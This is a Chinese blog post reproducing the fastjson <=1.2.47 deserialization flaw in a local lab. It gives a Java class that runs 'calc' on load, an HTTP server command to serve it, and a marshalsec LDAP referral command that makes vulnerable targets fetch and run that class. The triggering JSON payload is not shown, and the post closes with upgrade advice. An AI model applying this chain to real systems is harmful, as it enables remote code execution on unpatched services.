fastjson =< 1.2.47 反序列化漏洞复现

fastjson =< 1.2.47 反序列化漏洞复现

HW期间爆出来一个在hw期间使用的fastjson 漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升级到> 1.2.47版本(保险起见,建议升级到最新版)

复现详情

环境

  • win10
  • fastjson 1.2.47
  • jdk 1.8.1
  • marshalsec

环境过程

首先先创建maven项目,下载fastjson版本为1.2.47

<dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.47</version>
        </dependency>
</dependencies>

创建一个Exploit.java文件,Java 编译一下生成 Exploit.class 文件

exploit.java内容

public class Exploit {

        static {
                System.err.println("Pwned");
                try {
                        String[] cmd = {"calc"};
                        java.lang.Runtime.getRuntime().exec(cmd).waitFor();
                } catch ( Exception e ) {
                        e.printStackTrace();
                }
        }
}

然后启动http服务,这边利用python的SimpleHTTPServer来启动。

python2 -m SimpleHTTPServer

再利用marshalsec转发,创建一个ldap服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit"

最后编写了一个测试用例

运行即可触发漏洞。

修复意见

尽快将fastjson升级至1.2.48及以上的版本。

posted @ 2019-08-30 11:12  Zhengjim  阅读(3415)  评论(7编辑  收藏